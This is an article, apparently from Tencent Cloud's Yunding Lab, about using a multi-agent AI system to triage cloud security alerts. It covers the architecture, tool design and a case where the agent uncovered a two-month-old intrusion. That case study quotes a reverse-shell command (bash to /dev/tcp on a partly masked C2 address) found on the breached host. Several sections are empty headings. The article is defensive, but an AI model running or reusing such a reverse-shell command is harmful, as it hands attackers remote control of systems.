
以下案例源自于腾讯云鼎实验室使用Agent进行告警研判的研究与实践。
“一条本应被忽略的"攻击失败"告警,Agent却从中发现了2个月前的入侵。”
做了什么?
针对于腾讯云的安全告警,云鼎引入Agent自动研判安全告警,把"每条告警都靠人看"变成"Agent先筛、人只看重点"。
1、实践成果:告警降噪率提升至97.7%

2、技术思路:日常帮你不漏报,红蓝演练帮你省人力
运营痛点:告警太多,人手不够
1、以"某MMORPG游戏公司"为例:
理论上,97.7%的"噪音"不应忽略,不能漏掉真实入侵。
实际情况
Agent介入后

尤其是其中一条原本被忽视的告警,Agent发现了隐藏2个月的入侵,这一点也证明了Agent在安全告警上的价值:持续值守、不漏报。
2、传统方案 VS Agent方案
传统方案

Agent方案

如何让Agent来做安全运营?
1、腾讯云安全运营智能体平台五层告警研判体系
第一层:告警数据源
第二层:告警触发与归并层
第三层:Multi-Agent研判引擎
以"异常登录"告警为例,Agent会像安全专家一样展开调查:

三阶段流程说明

各阶段输入输出(以异常登录为例)

7个调查维度(以异常登录为例): 1.威胁情报:源IP是否被标记为恶意? 2.攻击历史:这个IP近期有没有发起过攻击? 3.登录基线:用户平时从哪些IP登录?这次是否异常? 4.登录后行为:登录成功后执行了什么命令?有没有可疑操作? 5.告警关联:这台主机近期还有其他告警吗? 6.漏洞风险:主机有弱口令或高危漏洞吗? 7.资产画像:这是什么业务的机器?暴露在公网吗?
第四层:MCP工具层
第五层:输出层

2、为什么用Multi-Agent而不是单Agent?
单Agent模式让一个Agent"一口气"完成所有调查,但问题很多:

3、腾讯云安全运营智能体平台MCP工具体系
MCP(Model Context Protocol)让Agent调用外部数据。设计原则:Agent负责"想",工具负责"查"。
工具设计要点:为Agent优化返回内容
直接把全部数据原样返回给Agent,会有两个问题:
云鼎的做法是对返回内容做预处理:
示例:用户登录位置基线工具
1.工具:QueryCWPAccountLoginLocationTool 2.功能:统计登录地理位置分布,返回Top10常用登录地及次数 3.输入:Quuid、UserName、AlarmTime、Offset(默认30天) 4.输出:{"LocationSet": [{"Location": "广东-深圳", "Count": 156}, ...]}
Agent据此判断:“用户历史只在深圳、北京登录,这次从俄罗斯登录,需关注”。
案例还原,Agent如何发现隐藏入侵?
2025年11月3日,某MMORPG游戏公司出现“攻击失败的远程代码执行”告警,传统处理:归类为"攻击尝试,无失陷"——攻击被拦截了。

1、介入Agent调查过程
Step 1: Plan Agent分析
Step 2: SubAgent并行调查

Step 3: Analysis Agent研判
结论:安全事件(高危) 发现:本次攻击被拦截,但php-fpm在2025年10月20日 22:50:02 曾执行反弹Shell:sh -c bash -i >& /dev/tcp/85.19.xxx/6667 0>&1 该进程目前仍在运行(PID:20775)。 判定:主机2个月前已失陷,攻击者已获控制权。 建议: 1. 断开与C2服务器85.19.xxx的连接 2. 清除进程PID:20775 3. 排查入侵路径,修复PHP漏

2、介入Agent之后的降噪率变化
介入Agent后,该公司2026年1月22日-28日真实告警数据降噪率变化如下

样本量较多的场景准确率如下:

Agent的优势在于"不嫌麻烦"——把容易被跳过的关联分析逐项完成
安全运营Agent,是不是"接个模型"就行?
1、是不是"接个大模型"就能做
Agent研判告警的核心不仅是模型,还要让Agent能获取数据、让它思考、验证输出。
2、Multi-Agent的价值
目前,腾讯云安全中心已封装60+安全数据获取工具,包括情报、资产、基线、日志、告警统计等能力,对接主机安全、容器安全、云防火墙、WAF等产品数据,现已开放试用,欢迎扫码申请~


END
更多精彩内容点击下方扫码关注哦~
关注云鼎实验室,获取更多安全情报
